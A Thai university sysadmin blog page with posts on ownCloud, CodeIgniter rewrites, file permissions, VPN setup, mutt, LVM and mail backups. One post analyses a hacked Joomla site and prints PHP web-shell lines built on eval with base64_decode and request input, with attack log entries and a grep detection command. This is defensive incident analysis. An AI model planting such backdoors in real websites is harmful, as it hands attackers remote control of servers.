Category: Open Source Software & Freeware

  • update ownCloud new version (5.0.6 to 5.0.7)

    หลังจากวันก่อนเมื่อช่วงต้นเดือนเขียนบทความ เรื่อง “มาทำ Self-hosted cloud storage ด้วย ownCloud ใน PSU กันเถอะ” ผมก็ทดสอบการใช้งานไปเรื่อยๆ มีเพื่อนชาว PSU sysadmin มาร่วมกันทดสอบกัน 5-6 คน ซึ่งเป็นเวอร์ชั่น 5.0.6 มาวันนี้เมื่อเข้าในหน้า admin ก็จะพบว่ามีแจ้งเตือนว่ามีเวอร์ชั่นที่ใหม่กว่าแล้ว คือ 5.0.7 แล้ว ก็ทำการอัปเดตผ่านหน้าเว็บได้เลย ถ้ากำหนด file permission ให้แก่ webserver user (www-data) ที่ไดเรกทอรี /var/www/owncloud

    owncloud-update-01

    ผลลัพธ์คือเมื่ออัปเดตเสร็จจะพบว่าเข้าสู่โหมด maintenance

    owncloud-update-02

    เราในฐานะผู้ดูแลต้องไปปลดล็อกที่ไฟล์ config.php ด้วยครับ จากนั้นก็จะใช้งานได้แล้ว

    ย้อนสักนิด การติดตั้ง owncloud นั้นจะมีอยู่ 3 วิธี คือ Tar or Zip File เหมาะสำหรับมีเครื่อง server เอง, Web Installer เหมาะสำหรับ shared hosting และสุดท้ายคือ Linux packages เหมาะสำหรับอัปเดตแบบอัตโนมัติเมื่อทำ apt-get update และ apt-get upgrade นั่นเอง

    owncloud-installation-webpage

    วิธีที่ผมเลือกติดตั้งคือแบบ Tar File เอามาลงในเครื่อง server เอง ดังนั้นเมื่อมีอัปเดตเวอร์ชั่นใหม่ เราจะควบคุมเองได้ว่าจะทำเมื่อไร หลังจากทราบว่ามีเวอร์ชั่นใหม่ แตกต่างจากแบบ Linux packages ซึ่งจะอัปเดตไม่รอเรา อาจทำให้มีปัญหาได้หากเรามีการ manual ปรับปรุงไฟล์ php บางไฟล์ เช่นที่ผมทำคือต้องมีการแก้ไขไฟล์ ftp.php, base.php และ app.php ดังนั้นวันนี้ผมจึงมาบอกเล่าให้ฟังว่า การอัปเดตจากเวอร์ชั่นหนึ่งไปอีกเวอร์ชั่นหนึ่งแบบเล็กน้อย เรียกว่า update นะครับ และหากเป็นการเปลี่ยนแปลงใหญ่ จะเรียกว่า upgrade อันนี้อ่านมาจากเว็บ ownCloud ซึ่งวิธีการทำจะแตกต่างกัน

    วันนี้มาแนะนำวิธีการอัปเดต (update) ownCloud จากเวอร์ชั่น 5.0.6 ไปเป็น 5.0.7 ซึ่งหลังจากอัปเดตตามเค้าว่าแล้ว ผมก็มาปรับแต่งเพื่อให้เข้ากันกับ PSU อีกที ผมจึงเขียนเป็น wiki ไว้ที่เว็บ opensource.cc.psu.ac.th เรื่อง อัปเดต owncloud (5.0.6) เป็นเวอร์ชั่นสูงกว่า (5.0.7) สำหรับ PSU ซึ่งมีรายละเอียดการทำงานเป็นขั้นตอน โดยสรุปพบว่า เวอร์ชั่นใหม่นี้ยังไม่ได้แก้ไข bug ที่พบในไฟล์ 3 ไฟล์ที่จำเป็นสำหรับ PSU ครับ

  • มาทำ Self-hosted cloud storage ด้วย ownCloud ใน PSU กันเถอะ

    เมื่ือช่วงต้นเดือนพฤษภาคม ผมได้รับอีเมลเกี่ยวกับรายชื่อ cloud storage ที่มีให้บริการ เช่น dropbox เป็นต้น แล้วมีพูดถึงว่านอกจากบริการบนอินเทอร์เน็ต ยังมี open source software ชื่อ owncloud อีกตัวนึงที่มีคนทำไว้ใช้งานเองและใช้ได้จริง และเป็นที่นิยมกันมากมาย ผมเลยตามไปดูที่ owncloud.org และก็จุดประกายความคิดขึ้นมาต่อยอดจากที่งาน WUNCA26 ว่ามีอาจารย์ท่านนึงบรรยายเกี่ยวกับ cloud ว่าอยากให้มหาวิทยาลัยมี private cloud ใช้งาน อันนี้ก็เป็นอันหนึ่งคือ self-hosted cloud storage หมายถึง ตั้งเซิร์ฟเวอร์เองไว้เก็บไฟล์
    owncloud-in-psu-1
    owncloud ทำอะไรได้บ้าง ผมจินตนาการอย่างนี้นะครับ ผมจะมี directory เก็บไฟล์ทำงาน ซึ่งแน่นอนอาจต้องการอีกสักหนึ่งเพื่อไว้กิจกรรมอะไรก็ได้ และนำไฟล์เหล่านี้ไปเก็บบน server ทำให้ผมจะมีข้อมูลเก็บอยู่สองแห่ง (เครื่องผมและserver)  เมื่อผมแก้ไข เพิ่ม หรือ ลบไฟล์ แล้วจะมี sync client สักตัวทำการ sync ให้เท่ากัน เมื่อผมไม่ได้ใช้เครื่องคอมฯของตนเอง ผมก็สามารถเข้าเว็บเบราว์เซอร์แล้วเข้าไปที่ URL ที่กำหนดไว้ เช่น [ http://cloud.in.psu.ac.th ] เป็นต้น ผมก็สามารถ login เข้าทำงานกับไฟล์ของผมได้แล้ว จากนั้นก็คิดต่อไปว่าแล้วผมมี Android smart phone จะต้องใช้ได้ด้วย คือเปิดดูพวกไฟล์ pdf ได้เลย รวมถึงเมื่อถ่ายรูป ไฟล์รูปภาพก็จะอัพโหลดไปเก็บอยู่บน server ของผม และเมื่อผมกลับมาเปิดเครื่องคอมฯของตนเองอีกครั้ง โปรแกรม sync client ก็จะทำการ sync ไฟล์รูปภาพจาก server ลงมาเก็บไว้ใน directory ที่กำหนดไว้

    เป็นไงครับอ่านมาถึงตรงนี้ นึกออกแล้วใช่ไม๊ครับ ไม่เห็นภาพ ลองดูตัวอย่างจาก presentation เรื่อง คู่มือสำหรับผู้ใช้งาน ownCloud ครับ

    ตามนี้ [ https://sharedrive.psu.ac.th/public.php?service=files&t=494382205a552cc52f07e6855c991162 ]

    สองสัปดาห์ที่ผ่านมา ผมจึงลงมือทำการทดสอบ ติดตั้งง่ายครับใช้ ubuntu server 12.04.2 มีเรื่องที่ต้องสนใจ 2-3 เรื่อง เรื่องแรกคือจะใช้ฐานข้อมูลอะไร มีให้เลือก sqlite, MySQL, PostGresSQL เรื่องที่สองคือจะใช้ user name อะไรในการ login เข้าใช้งาน เรื่องที่สามคือจะกำหนดพื้นที่ดิสก์รวมอยู่กับ system หรือแยก partition ต่างหากสำหรับเก็บ data นอกจากนี้ก็เป็นการคอนฟิกเพิ่มเติมโปรแกรม (owncloud จะเรียกว่า Apps) เช่น Bookmark, News Feed, Web mail client เป็นต้น และสุดท้ายคือตั้งค่า disk quota สำหรับผู้ใช้แต่ละคน

    เริ่มต้นด้วยแบบง่ายๆก็ใช้ local user ของโปรแกรม owncloud เองเลย ซึ่งเก็บอยู่บนฐานข้อมูล sqlite ในขั้นตอนติดตั้ง แบบยากขึ้นมานิด จะใช้ External user support ได้อย่างไร ก็พบว่าทำได้จาก LDAP, IMAP, FTP server ผมเลือกใช้ FTP server เพราะว่าเราสามารถผสมใช้ linux user name พร้อมๆไปกับ PSU Passport ของมหาวิทยาลัยได้ด้วย ผ่านทาง FTP server และอนุญาตเฉพาะ user name ที่เป็นสมาชิกเท่านั้น ซึ่งเป็นความรู้ที่ได้รับจากหลวงพี่วิภัทรสั่งสอนไว้นั่นเอง คือ PSU-radius + vsftpd + pam_radius_auth

    ถัดมาก็ทดสอบเปลี่ยนไปใช้ MySQL database ก็ไม่ยุ่งยากอะไร คือ ต้องเตรียม database name, database user, database password ไว้ก่อน จากนั้นในขั้นตอนติดตั้งทางหน้าเว็บครั้งแรกให้เลือก Advanced เพื่อเลือกว่าจะใช้ MySQL แล้วระบุค่าสำหรับ database ที่เตรียมไว้นั้น

    ถัดมาก็ศึกษาวิธีการเปลี่ยนใช้ partition แยกต่างหากสำหรับ ownCloud data ซึ่งก็คือที่เก็บไฟล์ของ user แต่ละคนนั่นเอง หากให้คนละ 10 GB มีคน 100 คน ก็ต้องใช้ 1,000 GB เป็นต้นจึงจำเป็นต้องแยก mount disk ต่างหาก ตรงนี้จะเกี่ยวกับไฟล์ /etc/fstab ด้วยนะ นอกจากนี้ผมต้องการให้มีการ share with link เพื่อให้สาธารณะดูไฟล์ได้โดยผมจะส่งเป็นอีเมลไปให้ จึงต้องคอนฟิกเรื่อง mail อีกนิด

    การติดตั้งหลักๆเสร็จไปแล้ว ต่อมาก็ทดสอบการใช้งาน เริ่มต้นจากเมื่อ login เข้าใช้งานครั้งแรก จะมีหน้าต่าง wizard เชิญชวนให้ติดตั้ง Desktop Client ซึ่งมีสำหรับ Linux, Windows, Mac OS ซึ่งฟรีครับ นอกจากนี้ก็มีสำหรับ Android PlayStore, iOS AppStore แต่เนื่องจากต้องมีค่าใช้จ่ายสำหรับดาวน์โหลดทาง PlayStore และ AppStore ราคา 29 บาท ผมจึงเสาะหาพบว่า “ฟรี” ที่นี่ครับ [ http://f-droid.org ]จะมีโปรแกรม owncloud client ให้ใช้ฟรีๆครับ

    ทดสอบการใช้งาน พบว่ามี bug 2-3 เรื่อง เรื่องแรกการ share file ระหว่าง user name บน ownCloud กับ External user ยังไม่สมบูรณ์ จึงค้นหา google พบว่ามีคนบอกวิธีแก้ bug ไว้ให้ และ bug เกี่ยวกับเกิดมี error log record ผิดปรกติจำนวนมากใน /var/www/owncloud/data/owncloud.log ซึ่งไม่ควรจะมี ผมพบว่ายังมี bug อีก 2 อย่างที่ยังแก้ไขไม่ได้คือ disk quota แสดงผลไม่ตรงความจริง คือ ผมอัพโหลดไฟล์ไว้มากๆเพื่อลองทดสอบประมาณ 7พันกว่าไฟล์ ขนาด 7 GB กว่าๆ แต่โปรแกรมรายงานเพียง 2GB เท่านั้น และอีก bug คือ Apps ชื่อ Pictures Gallery เมื่อผมลบไฟล์รูปภาพไปแล้ว แต่ thumbnail picture ยังคงเก็บอยู่ อันนี้ผมซอกแซกเข้าไปดูในที่เก็บ คือ cd /var/www/owncloud/data/(user)/gallery/

    หากต้องการทดสอบ ให้อ่านเรื่อง ติดตั้ง owncloud (5.0.6) บน ubuntu (12.04.2) สำหรับ PSU [ http://opensource.cc.psu.ac.th/ติดตั้ง_owncloud_(5.0.6)_บน_ubuntu_(12.04.2)_สำหรับ_PSU ] อยู่ที่เว็บไซต์ opensouce.cc.psu.ac.th ครับ

    และนี่คือ Your Private Cloud Storage in PSU ครับ ขอบคุณครับ

  • วิธีเอา index.php ของ Codeigniter ออกไป (Ubuntu/Linux Mint)

    1.สร้างไฟล์ .htaccess ในโปรเจกของท่าน ดำเนินใส่โค๊ดดังนี้ (สมมุติว่าเป็น /var/www/ci/)

    RewriteEngine on
    RewriteBase /ci/
    RewriteCond $1 !^(index\.php|assets|uploads|robots\.txt)
    RewriteRule ^(.*)$ index.php/$1 [L]

     

    2.เปิด  terminal และพิมพ์คำสั่ง เพื่อเปิด mod_rewrite

    sudo a2enmod rewrite

     

    3.เพิ่ม virtual host ใน /etc/apache2/sites-available/default

    sudo gedit /etc/apache2/sites-available/default

     

    4.เพิ่มโค้ดดังนี้

    <Directory /var/www/ci>
            Options Indexes FollowSymLinks MultiViews
                    AllowOverride All
                    Order allow,deny
                    allow from all             
    </Directory>

     

    5. Restart Apache

    sudo /etc/init.d/apache2 restart

     

    6.ไปที่โปรเจก codeigniter แก้ไขไฟล์  application/config/config.php เอา index.php ออก

    จาก $config[‘index_page’] = ‘index.php’;

    เป็น $config[‘index_page’] = ”;

  • How to list linux file permissions in Octal Notation

    วันนี้เนื่องจากทีมผู้ดูแล  Web Hosting ต้องการดูว่ามีไฟล์ไหนบ้างที่มี permission เป็น 777 ก็เลยนั่งหาดูพบว่า สามารถใช้คำสั่ง stat ในการดูได้ เช่น

    $stat -c "%a %n" /var/www

    ผลลัพธ์
    Screenshot from 2013-05-01 11:47:06

    หรือ

    $stat -c "%A (%a) %8s %.19y %n" /var/www

    ผลลัพธ์
    Screenshot from 2013-05-01 11:49:19

    ทั้งนี้เนื่องจากไม่สามารถทำให้มัน recursive ได้ ก็ต้องหาไปทีละโฟลเดอร์ …. จนกระทั่งเจออีกคำสั่ง คือ สร้าง alias ชื่อ lso ดังนี้

    $alias lso="ls -alG | awk '{k=0;for(i=0;i<=8;i++)k+=((substr(\$1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf(\" %0o \",k);print}'"

    เมื่อจะใช้งาน ก็เพียงสั่ง lso ที่คอมมานด์ไลน์ ผลลัพธ์
    Screenshot from 2013-05-01 11:54:27

    สามารถปรับ option ของ ls ใน alias ให้ recursive ได้โดยเพิ่ม R ตัวใหญ่ลงไป ดังนี้

    $alias lso="ls -alGR | awk '{k=0;for(i=0;i<=8;i++)k+=((substr(\$1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf(\" %0o \",k);print}'"

    เมื่อเรียกใช้จะได้ผลลัพธ์
    Screenshot from 2013-05-01 11:57:21

    สามารถใช้ร่วมกับ grep เพื่อค้นหาเฉพาะค่าที่ต้องการ เช่น

    $lso|grep " ^777"

    ผลลัพธ์
    Screenshot from 2013-05-01 13:11:12

    ก็พอจะช่วยได้บ้างครับ Big Smile ขอให้สนุกครับ

    ที่มา

    http://thenubbyadmin.com/2012/02/16/how-to-list-linux-file-permissions-in-octal-notation/

    http://askubuntu.com/questions/152001/how-can-i-get-octal-file-permissions-from-command-line

  • How to create PSU VPN (L2TP/IPSec) connection Ubuntu 13.04?

    * ติดตั้งโปรแกรมชื่อ l2tp-ipsec-vpn ด้วยคำสั่ง

    $sudo apt-get install l2tp-ipsec-vpn

    ดังภาพ
    Screenshot from 2013-04-29 11:02:30
    * ตอบ y
    Screenshot from 2013-04-29 11:03:16
    * ตอบ No
    Screenshot from 2013-04-29 11:03:31
    Screenshot from 2013-04-29 11:03:40
    * กด OK
    Screenshot from 2013-04-29 11:03:53
    * สั่ง reboot เครื่อง
    Screenshot from 2013-04-29 11:04:12
    * เมื่อบูทเสร็จจะพบว่ามีไอคอนเพิ่มมาบนพาเนล
    Screenshot from 2013-04-29 11:44:16
    * คลิกซ้ายเลือก Edit Connection
    Screenshot from 2013-04-29 12:00:41
    * หน้าจอจะมืดลงและมีช่องให้ใส่พาสเวิร์ดของผู้ใช้ลงไปแล้วกด OK
    Screenshot from 2013-04-29 12:02:16
    * จะได้หน้าจอดังรูป
    Screenshot from 2013-04-29 11:21:03
    * คลิก Add จะได้หน้าจอดังรูป ใส่ vpn.psu.ac.th ลงไปในช่อง Connection name กด OK
    Screenshot from 2013-04-29 11:21:32
    * ได้ดังรูป
    Screenshot from 2013-04-29 12:06:09
    * คลิก Edit กรอกข้อความตามรูป
    Screenshot from 2013-04-29 11:22:00
    * คลิก PPP เลือกตามรูป ในช่อง Username และ Password ให้ใช้ PSU Passport
    Screenshot from 2013-04-29 11:22:30
    * คลิก IP setting คลิกเครื่องหมายถูกในช่องสี่เหลี่ยมหน้าข้อความ Obtain DNS server address automatically กด OK
    Screenshot from 2013-04-29 11:23:35
    * กด OK ออกมาจนสุดคลิก Close คลิก OK
    Screenshot from 2013-04-29 11:24:14
    * Reboot อีกครั้ง
    * คลิกที่ไอคอน เลือก vpn.psu.ac.th
    Screenshot from 2013-04-29 11:31:28
    Screenshot from 2013-04-29 11:25:37
    * เมื่อเชื่อมต่อสำเร็จจะเป็นดังรูป
    Screenshot from 2013-04-29 11:28:29
    * สำหรับ Linux Mint 15 อาจจะต้องทำคำสั่งนี้ก่อนจึงจะใช้งานได้

    sudo apt-add-repository ppa:werner-jaeger/ppa-werner-vpn
    sudo apt-get update && sudo apt-get install l2tp-ipsec-vpn

    * ขอให้สนุกครับ

    ที่มา http://rapidvpn.com/setup-vpn-l2tp-ubuntu.htm

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

    ต่อจาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1” ซึ่งเป็นวิธีการตรวจสอบ จาก วันเวลา ของไฟล์ที่ตรวจสอบพบว่า ถูกนำมาวาง จากช่องโหว่ของ Joomla

    แต่เมื่อตรวจสอบลึกลงไป โดยตรวจสอบ ไฟล์ที่เอามาวางไว้ พบว่ามีรูปแบบหลากหลาย *** แต่มีวิธีการเดียวกัน*** นั่นคือ การใช้ eval และ base64_decode ทั้งสิ้น

    ตัวอย่างที่ 1:

    sample1

     

    จะเห็นได้ว่า hacker เขียนไฟล์ดังกล่าว แล้วสร้างตัวแปรว่า $code ในนั้นเป็น Code ซึ่ง “เข้ารหัสแบบ Base64 แล้ว gzip เอาไว้” เพื่อไม่ให้เราตรวจสอบได้ง่ายๆ

    จากนั้น จึงใช้คำสั่ง

    eval(gzinflate(base64_decode($code)))

    ซึ่งจะ decode ข้อความแบบ Base64 ก่อน แล้วค่อย unzip ออกไปอีกที … ซับซ้อน
    ก็จะทำให้ hacker สามารถใช้ code นั้นๆ มาทำอะไรต่อมิอะไรในเครื่อง web server เราได้

     

    ตัวอย่างที่ 2:

    sample2

    ใช้วิธีไปเขียนไฟล์ ของ Joomla โดยตรง (contact.php) ซึ่งพื้นที่ดังกล่าว เปิดให้ apache เขียนได้ และมีที่เปิด Permission เป็น 777 จึงทำให้ apache เขียนได้เช่นกัน

    โดยในตัวอย่างนี้ ใช้วิธีเขียนไว้ที่บรรทัดแรกของไฟล์ และใช้คำสั่ง

    eval(base64_decode($_REQUEST['c_id']))

    ต่างจากตัวอย่างที่ 1 ตรงที่ แทนที่จะฝัง Code ไว้ในไฟล์ ก็ใช้วิธีส่ง Code ผ่านทาง Action “POST” ของ HTTP มา (ในภาษา PHP ตัวแปรที่รับค่าจาก HTTP เข้ามามีได้ทั้ง GET, POST และ REQUEST ซึ่งตัว REQUEST ดังกล่าว สามารถรับได้ทั้งแบบ GET และ POST)

    ถ้าเฝ้าดูใน log ไฟล์ ก็จะเห็นรูปแบบดังนี้

    216.239.45.67 - - [24/Apr/2013:08:22:41 +0700] "GET /language/settings.class.php HTTP/1.1" 200 197 "-" "Python-urllib/2.7"
    202.46.129.104 - - [24/Apr/2013:08:23:02 +0700] "POST /language/settings.class.php HTTP/1.1" 200 497 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:08:35:08 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    62.193.237.22 - - [24/Apr/2013:08:51:35 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    200.198.186.38 - - [24/Apr/2013:08:56:29 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    31.196.4.41 - - [24/Apr/2013:08:56:32 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    203.172.251.84 - - [24/Apr/2013:08:57:27 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:02:13 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:22:22 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    77.246.145.52 - - [24/Apr/2013:09:46:32 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:51:14 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    122.155.13.146 - - [24/Apr/2013:09:53:19 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:56:22 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    203.172.179.246 - - [24/Apr/2013:10:08:05 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:17:13 +0700] "POST /language/settings.class.php HTTP/1.1" 200 226 "-" "Mozilla/5.0 Firefox/3.6.12"
    118.127.4.170 - - [24/Apr/2013:10:32:10 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:53:42 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:53:51 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"

    เช่นเดิม เมื่อรับค่าผ่าน GET/POST/REQUEST มาแล้ว ก็จะเอามาผ่าน base64_decode แล้วจะได้ Code มา จากนั้น ส่งให้ eval ทำงานต่อ ก็สามารถใช้งาน Web Server เราทำอะไรก็ได้แล้ว

    ตัวอย่างที่ 3:

    sample3

    ในตอนแรก ก็ยังสงสัยอยู่ว่า ไฟล์นี้ เป็นไฟล์ของระบบหรือไม่ เพราะหน้าตาไม่น่าจะเป็นอันตราย ดูคล้ายๆเป็น Configuration File ธรรมดา

    แต่เมื่อดูให้ดีๆ ก็พบว่ามี

    eval(base64_decode($_REQUEST['c_id']))

    อีกแล้ว ซึ่งวิธีการใช้งาน ก็แบบเดียวกับตัวอย่างที่ 2

    UPDATE !!!

    แบบที่ไม่ใช่ eval ก็มีนะ

    new-backdoor

    วิธีการตรวจสอบ

    ให้ใช้คำสั่งต่อไปนี้

    find ./ -name "*.php" -exec egrep -l "@eval.*base64_decode" {} \;

    เพื่อตรวจสอบ หาไฟล์ที่มีคำว่า eval และ base64_decode อยู่ใกล้ๆกัน หากพบไฟล์เข้าข่ายดังกล่าว แนะนำให้ตรวจสอบอย่างละเอียด และย้ายออกมาจากพื้นที่ website เพื่อตรวจสอบให้แน่ใจอีกครั้งครับ

    นอกจากนั้น ควรตรวจสอบว่า มี Directory ใดบ้าง ที่ www-data หรือ apache (user ของ Web Server) เขียนได้ โดยใช้คำสั่งต่อไปนี้

    find ./ -user www-data -perm -u+w -type d

  • ตัวอย่างการใช้งาน mutt เพื่อส่ง email แบบ command line

    เมื่อต้องการส่ง email ด้วย command line วิธีที่ถูกต้องที่สุด ไม่ผูกติดกับ email client program บน Linux คือการสร้างไฟล์ แล้วส่งผ่าน sendmail ไม่ว่าจะเป็น original sendmail หรือ backward-compatibility ของ postfix ก็ตาม (จะกล่าวในอีกบทความหนึ่ง)

    แต่หากต้องการความง่าย ก็ลองใช้วิธีนี้ดูครับ

    ผ่านโปรแกรมชื่อ mutt

    ตัวอย่างคือ

    1. ส่ง email ไปให้ username.s@xxx.psu.ac.th

    2. บอกว่า ส่งจาก IT Department ซึ่ง email address เป็น blah@itdept.xxx.psu.ac.th

    3. มี Subject ว่า This is Subject

    4. แนบไฟล์ชื่อ test.txt

    5. แต่จดหมายนี้ ไม่ต้องการให้ผู้ใช้ตอบกลับ จึงส่งให้ no-reply@xxx.psu.ac.th เพื่อโยนทิ้งทันที

    6. เนื้อความ ว่า Hello World

     

    สามารถใช้คำสั่งต่อไปนี้

    export REPLYTO="no-reply@xxx.psu.ac.th"; export EMAIL="IT Department <blah@itdept.xxx.psu.ac.th>"; echo "Hello World" | mutt -s "This is Subject" -a test.txt -- kanakorn.h@psu.ac.th

  • บันทึกการสร้าง LVM Partition

    เนื่องจากมี disk ขนาดแค่ 560 GB หลายลูก แต่ต้องการเอามารวมกันให้เป็น Volume ใหญ่ๆ และไม่ใช้ RAID
    เขียนเป็นบันทึกเก็บไว้ จึงอยากเอามานำเสนอ เผื่อเป็นประโยชน์

    1. มี /dev/sdb , /dev/sdc , /dev/sdd ก้อนละ 560 GB อยู่ ต้องทำ LVM

    เป้าหมายคือ ต้องการได้ Device สำหรับการ mount ชื่อ /dev/virtual1/logical1

    reference:
    http://www.howtoforge.com/linux_lvm
    http://www.linuxquestions.org/questions/linux-hardware-18/lvcreate-with-max-size-available-749253/
    2. ติดตั้ง lvm software ด้วยคำสั่ง

    apt-get install lvm2 dmsetup mdadm reiserfsprogs xfsprogs

    3. สร้าง partition ใน physical disk ให้เป็นของ LVM Partition

    sudo su
    fdisk /dev/sdb
    Command (m for help): n
    Partition type: p
    Partition number (1-4, default 1): 1
    First sector (2048-1073741823, default 2048):
    Last sector, +sectors or +size{K,M,G} (2048-1073741823, default 1073741823):
    Command (m for help): t
    Hex code (type L to list codes): 8e
    Command (m for help): w

    ทำเช่นเดียวกับกับทั้ง /dev/sdc, /dev/sdd

    4. ต่อไป สร้าง Physical Volume ของ LVM
    pvcreate /dev/sdb1 /dev/sdc1 /dev/sdd1
    pvdisplay

    5. ต่อไป สร้าง Group Volume ของ LVM
    vgcreate virtual1 /dev/sdb1 /dev/sdc1 /dev/sdd1
    vgdisplay
    vgscan

    6. ต่อไป สร้าง Logical Volume ของ LVM (เต็มพื้นที่ที่มี)
    lvcreate --name logical1 -l 100%Free virtual1
    lvdisplay
    lvscan

    7. ต่อไป สร้าง Filesystem แบบ ext4
    mkfs.ext4 /dev/virtual1/logical1

    8. แก้ fstab แล้ว mount
    vi /etc/fstab
    /dev/virtual1/logical1 /var/spool/mailbackup ext4 rw,noatime 0 0
    mount -a

  • แนวทางการ Backup บน Ubuntu Server (กรณีระบบ PSU EMail)

    เนื่องจากจะจัดทำระบบ Backup and Recovery ระบบ Mail ซึ่งทำงานอยู่บน Ubuntu จึงทำการรบรวมข้อมูล และหาแนวทางที่เหมาะสม

     

    ก่อนจะตัดสินใจเลือก แผนการ Backup ที่เหมาะสม ก็ควรพิจารณาเรื่องต่อไปนี้ด้วย [1]

    1. WHY: จุดประสงค์การ Backup/Restore, ถ้าข้อมูลสูญหายจริงๆจะเกิดความเสียหายขนาดไหน ?

    2. WHAT: สิ่งที่จะทำการ Backup, ทั้ง Hard Drive? หรือเป็นข้อมูลบางส่วน?

    3. WHEN: เวลาที่ดีที่สุดที่จะ Backup, บ่อยขนาดไหน, จะทำการ Full/Incremental Backup เมื่อใดบ้าง ?

    4. WHERE: เก็บ Backup ไว้ที่ใด, ในเครื่องนั้นๆ, เก็บไว้ภายนอก หรือใช้บริการ Cloud Storage

    5. MEDIUM: สื่อที่ใช้จัดเก็บ, USB Stick, External HDD, Tape หรือ Backup Server

     

    ประเภทของการ Backup [1]

    1. Full: สำรองทุกสิ่งอย่าง

    2. Incremental: สำรองเฉพาะสิ่งที่เพิ่มขึ้นมา นับจากการสำรองครั้งล่าสุด

    3. Differential:  เหมือนกับ Incremental แต่เก็บเฉพาะไฟล์ที่ยังไม่ปรับค่า Archive bit (ในกรณี Windows Filesystem)

     

    วิธีการ Backup : จากการสำรวจ พบว่าบน Ubuntu มีเครื่องมือ และวิธีการให้ใช้มากมาย เช่น SimpleBackupSuite, grsync, pybackpack หรือที่ติดมาพร้อมกับ Ubuntu Desktop อย่าง Déjà Dup [1] แต่เครื่องมือเหล่านี้เหมาะสำหรับการใช้งานแบบ Desktop Computer มากกว่า แต่ในระบบ Mail Server ซึ่งมีปริมาณข้อมูลจำนวนมาก และเป็นของผู้ใช้จำนวนมาก (ในระบบมีผู้ใช้รวม 6000 คน) จึงควรต้องมีการทำงานที่ยืดหยุ่นกว่า และสามารถปรับแต่งตามต้องการได้

    จึงพิจารณาใช้ tar เพื่อทำการ Full [2] และ Incremental Backup [3] แล้วจึงใช้ rsync ส่งไฟล์ไปเก็บไว้ที่ Backup Server ต่อไป

     

    ในกรณี PSU Email มีลักษณะดังนี้

    1. เก็บ email แต่ละฉบับเป็นแบบไฟล์ ไฟล์ขนาดเล็กๆ

    2. ไม่มีการเขียนทับไฟล์เดิม (เว้นแต่ Index ของ Mailbox ซึ่งไม่จำเป็นนัก เพราะ ต้อง rebuild ใหม่เมื่อทำการ restore)

    3. เมื่อมี email ใหม่เข้ามา จะทำการสร้างไฟล์ใหม่ โดยแต่ละไฟล์จะเป็นตัวเลข เพิ่มขึ้นเรื่อยๆ ไม่ซ้ำเดิมแน่นอน

    4. เมื่อผู้ใช้สามารถ สร้าง และ rename ชื่อ directory ได้
    พิจารณาคำถามข้างต้น แล้วให้ตำตอบ

    WHY: เพื่อสำรอง email ไว้ให้ ในกรณีฉุกเฉินที่ผู้ใช้ลบ email ไปโดยไม่ตั้งใจ

    WHAT: email อยู่บน disk แยกออกไป, ทำการสำรองเฉพาะไฟล์ใน directory จัดเก็บ ซึ่งใช้เนื้อที่รวม 600 GB ซึ่งเป็นของผู้ใช้ในระบบ 6,000 คน, ข้อมูลมีลักษณะเป็นไฟล์ขนาดเล็กจำนวนมาก และมีการเพิ่มและลดจำนวน แต่ไม่มีการแก้ไขไฟล์, มีการเพิ่ม/ลบ/เปลี่ยนชื่อ directory

    WHEN: จากสถิติการใช้งาน พบว่า ผู้ใช้ใช้งานน้อยที่สุดหลังเวลา 03:00 ของทุกวัน และในวันอาทิตย์เป็นวันที่มีปริมาณการใช้งานน้อยที่สุด และจากการย้ายระบบครั้งล่าสุด พบว่าการทำ Full Backup ใช้เวลา 16 ชั่วโมง ส่วนการทำ Incremental Backup ประจำวัน ใช้เวลาประมาณ 1 ชั่วโมง จึงเลือกสำรองแบบ Full ทุกวันอาทิตย์ เริ่มเวลา 00:01 และทำ Incremental ในวันจันทร์ ถึงเสาร์ เริ่มเวลา 03:01

    WHERE: เนื่องจากในอนาคตวางแผนจะปรับเป็นระบบ Distributed Mailbox จึงวางระบบให้ Backup เก็บไว้ในเครื่องก่อน แล้วใช้ rsync ไปเก็บไว้ใน Backup Server แล้วมีระบบย้ายข้อมูลเก่า ลงไปเก็บใน External HDD เพื่อสำรองไว้ในระยะยาวได้

    MEDIUM: สำรองลงใน Local Disk ก่อน แล้ว rsync ไปลงใน Backup Server จากนั้นย้ายลง External HDD

     

    แนวทางการ Backup ที่เลือกใช้สำหรับ PSU Email (เป็นเพียงตัวอย่าง)

